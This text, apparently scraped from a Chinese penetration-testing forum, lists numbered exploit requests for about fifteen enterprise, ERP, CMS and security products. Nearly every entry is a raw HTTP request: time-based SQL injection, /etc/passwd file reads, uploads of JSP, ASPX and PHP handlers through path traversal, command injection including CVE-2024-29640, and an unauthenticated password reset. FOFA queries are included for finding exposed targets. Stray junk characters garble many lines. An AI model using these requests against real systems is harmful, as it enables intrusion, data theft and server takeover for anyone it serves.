GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
# I3 a  |. l3 aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
2 F) p) B$ d9 iAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
* l' r+ L8 n2 k4 U8 }9 }8 yConnection: close
1 O" R/ e. A- K/ l: x5 i. T
* l% p1 ]1 n% P% |8 O& P
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
* D2 Q; n4 ^+ ZGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
' R8 |# |4 b5 sUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 l& |# `/ u' j- R# H$ I4 WAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
# t7 _" E$ @' h% S+ A  \: e

% [% Q% h* m) {/ T# }190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
! J; o* h8 x( \POST /index.php/admin/Userinfo/poihuoqu HTTP/2
! |6 @: M! \( l' q& M- ~1 G: hHost: your-ip
0 U. I9 ~1 [9 q4 M0 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
7 E, K$ m+ v6 F0 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
: U: {9 N8 C. }Accept-Encoding: gzip, deflate
- `; F" u$ e- p+ X1 o% I/ |Accept-Language: zh-CN,zh;q=0.9
2 I* ?) F2 a& R& Z
7 v3 P% y8 X& R  ]poi=file:///etc/passwd
! @- s8 Q/ u& \9 X; S: e

191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
& J6 @8 i" M% ^  bHost: your-ip
' k3 v3 p1 y% \7 F3 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

% A6 T! B) c! ]$ N# \: q, B, ?
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
! V6 U8 ^4 o- b" W' I7 HHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded

4 g# s5 G9 ]# _/ b3 A
9 l! a4 I6 ^4 @4 b6 s<% @ webhandler language="C#" class="AverageHandler" %>
using System;
0 _6 K$ o# `4 jusing System.Web;
9 D% t0 @/ G$ C5 x4 b0 L2 c0 upublic class AverageHandler : IHttpHandler
{
& x5 Q4 {0 v0 Y" {7 M3 h) G% w  Epublic bool IsReusable
* R% ]5 c1 l; [: D" a{ get { return true; } }
" ^; H; _0 [+ Fpublic void ProcessRequest(HttpContext ctx)
7 y2 ~# {& F' t  C7 r{
) D; z3 \/ b, F* d1 bctx.Response.Write("test");
4 k9 W4 _' b5 f$ Q* A! D( {# `4 X}
/ C& N$ w: n6 A1 Z}
1 ^8 J+ Y4 H) E

& M* ~  t5 d% d4 `) f193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
8 h+ x0 Y  L6 D. ?2 CGET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
8 h1 |/ f1 k3 q' B0 l) I0 K5 [
$ w7 `; T, Y, N3 x' n
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
" l* I( m. p7 p7 A' j5 E, P$ ^  lHost:
User-Agent: Mozilla/5.0
5 b: A% k# ~) o$ c0 OAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
" H! u( I$ L- i3 lCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

2 F) S  ^0 l1 O% ~param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

9 ?, q9 I; \* N, k6 H! A
& @# t7 H1 V4 S, J1 ^; Y5 jGET /master/img/config HTTP/1.1
Host:
1 \2 F4 a; O* h8 j9 @User-Agent: Mozilla/5.0
' R# D+ j+ Y" d5 {
/ a- u4 H$ _# P- U) K
2 C% K2 q6 x  d( Y! K194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
$ k( ]4 g. ]2 Q( e4 X" @FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
4 x0 |+ n% t3 r, }
/ d4 U% l. o4 s; P& oPOST /servlet/uploadAttachmentServlet HTTP/1.1
- X/ m9 {# @6 d2 r' fHost: host
& s  l0 `4 Q% B6 f' IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
$ _) e5 N  o0 z. x0 v. kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 J! v8 q* h% rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* P& Z% H  ^. bAccept-Encoding: gzip, deflate
) x* w* k# i2 h9 w# cConnection: close
4 I+ K1 u- G6 M0 D  x+ y* i& ^Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

3 c5 Y( t( U) U1 SContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
6 c7 ~/ y+ \% `<% out.println("hello");%>
9 }1 c5 |/ J% @9 o7 W* y------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
# q* _$ w1 D8 D {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
0 C) X- t: z+ U- ~Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
; r( c) y& E9 v) x/ G4 c1 IConnection: close
Content-Type: application/x-www-form-urlencoded
; a, E; f9 F& y$ HContent-Length: 68
$ A9 s) o" h) c3 c# c; m6 d' a; S. ?
/ Q  Z8 z4 u; R4 f{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


1 a; K9 z0 Y$ j- @196. 河南省风速科技统一认证平台密码重置
0 F7 x/ g( f2 `, Y# s2 VFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
8 |$ R5 w# z6 S' Y) l$ j6 ?POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
$ {, C5 L) M4 F" m( W) u# PContent-Type: application/json;charset=UTF-8
, P) Q* n0 G4 C$ f% \, I1 i' DX-Requested-With: XMLHttpRequest
Host:
0 S. T, b. s3 {0 w0 p2 }* }Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close

/ c7 ]8 b9 x( \& [{"xgh":"test","newPass":"test666","email":""}
. C2 W! a5 |: X
6 k  A& b9 ?! U$ g+ J

$ J6 o. y3 @: C3 V3 [. T( q197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
2 ?# i2 P% [( Z  B. r9 `Accept-Encoding: gzip, deflate
) Q! G8 l% t! L# Q( _' z9 CConnection: close
- B) f! ^7 _. U6 h/ }' U9 @/ y6 j

) X) M2 P; W9 p# P
198.  阿里云盘 WebDAV 命令注入
: F7 g6 U$ E8 U" i" a- y" FCVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
( ]* d3 ^* b; k9 C$ J& h5 ^Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
; t" h* `# r) k% k5 V7 Z1 {: F1 Z. k

* V2 |+ w' I* e, n) l8 P1 C199. cockpit系统assetsmanager_upload接口 文件上传

8 b& \0 i: V  Q) y5 Q1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1
4 \7 {7 @7 j5 q. Q
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
* f! s# q* _7 Y+ u
3 t* L* N# F% z; C- V+ a, q2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
1 x; C, D4 |6 `Content-Type: application/json
) Z' n- k( `) B7 B6 r0 ~
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
6 I5 e/ i1 s! Q- S: X$ U$ c3 ISet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
8 m: i$ H. k. i9 ZFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
# s" `( G3 R: s$ O; n3 {Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
0 x8 e; K: r, D" l% ]8 i. fCookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
' `5 t3 U/ L2 C: j& F2 e6 aContent-Disposition: form-data; name="files[]"; filename="tttt.php"
, l6 S( B8 q) o  e: V8 IContent-Type: text/php
0 F, x9 T: C: C  b
<?php echo "tttt";unlink(__FILE__);?>
  F; c" {8 r+ S: J' d* C" \) S0 b; c-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

: A! J3 f5 \& i4 G8 g! C-----------------------------36D28FBc36bd6feE7Fb3--
  v/ g+ J: K" d. T- d; o
- N8 ~7 G7 ?) Q1 U4 t+ ?
/storage/uploads/tttt.php
# v: V8 N$ Y' J) P# q
$ L% I1 v/ r! L5 ~3 R200. SeaCMS海洋影视管理系统dmku SQL注入
! @# G+ |4 [; f) r, FFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
! ]# ?- q4 Z6 C9 w6 v: yCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
2 f- z+ W9 U; f, K6 \4 u1 |Accept-Language: zh-CN,zh;q=0.9
4 g( j7 Q1 o% K3 k* o

7 j& S5 T' A) k  W% o$ S0 y201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
4 o6 |' V+ ], ]/ i6 q) l! @( `Content-Type: application/x-www-form-urlencoded
9 K2 f5 J4 S3 i5 e! t/ O6 aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
3 f8 r* l* T$ H' k- dAccept-Language: zh-CN,zh;q=0.9
- b9 u+ a( Q0 f1 W8 f, [3 f. iConnection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

  v8 _2 E1 s5 Z. u3 ?: }6 z! J
202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
8 @# {  _% q5 P. L+ Z% XHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
7 R( Q1 o  B! U* t: RContent-Length: 0
( @( a+ ]; T8 P

/ Y) Y( O2 l! }& w* F3 L0 ~) Y替换__VIEWSTATE和__EVENTVALIDATION值
1 }" F8 E. Z) f: e3 ]( h0 aPOST /User/AccountEdit.aspx HTTP/1.1
) v2 b  Z1 V1 q* F* WAccept-Encoding: gzip, deflate, br
, u* N8 |# Y" d: n1 i0 N+ M/ {  jContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
  i0 f, w1 @; V* B' q
6 u8 f% X# w) }-----------------------------786435874t38587593865736587346567358735687
' G9 `$ A1 S$ O" u# p5 j. N. g, d7 gContent-Disposition: form-data; name="__VIEWSTATE"
; G+ X) R/ j  c5 p
__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
) n9 r+ Q. r* K1 A-----------------------------786435874t38587593865736587346567358735687
( [; T. _$ x$ k2 O1 @7 lContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

1 _3 g& l4 T! c: I4 _; C1 WHello World!
-----------------------------786435874t38587593865736587346567358735687
$ O/ ~* B! U/ V: H8 qContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
* N& a! m( \5 P: I
上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
0 W' ~% |" H: g8 W9 \

* _1 v9 E6 l8 u4 u" j-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


-----------------------------786435874t38587593865736587346567358735687--

9 @8 i' F8 X: N8 V* U
  ~$ {2 s- d7 r* L0 t/_data/Uploads/1123.txt
+ ?, W4 _+ R+ X9 p" \( A6 O" o' C
) N4 O9 X" X' W1 T203. 红海云EHR PtFjk 文件上传
3 B5 b3 \! s3 p1 D. ^# S6 x0 QFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
/ Z2 h5 @  m7 t4 G" h. PHost: x.x.x.x
! G+ _6 E. Z' {# h, SAccept-Encoding: gzip
$ O. c, g0 F7 g8 Q3 D. @1 |* [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
( \. i" A. F: E8 a( nContent-Length: 210
* e2 Q. M$ }2 V: ^% s2 D4 M* b+ N
) h* g" N0 y$ v# U4 j8 H1 Z------WebKitFormBoundaryt7WbDl1tXogoZys4
# x* n3 i$ ?. V% t3 n% C- p' CContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
  R2 D8 z* j" g8 \4 }+ E7 J# VContent-Type:image/jpeg
3 h( Y* |% {# }9 T$ V
<% out.print("hello,eHR");%>
3 c' b8 Q6 ]. w  J9 d1 n6 ]------WebKitFormBoundaryt7WbDl1tXogoZys4--
9 D' b  ^5 |& E- |7 U" v+ O, q


, R. y& h* ~- N# W. [6 m
( `% O) n2 m* T: ~
) q$ T6 N; j+ v  I' U* S% ?
9 f- h; |( w9 g0 k4 K6 u' L

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2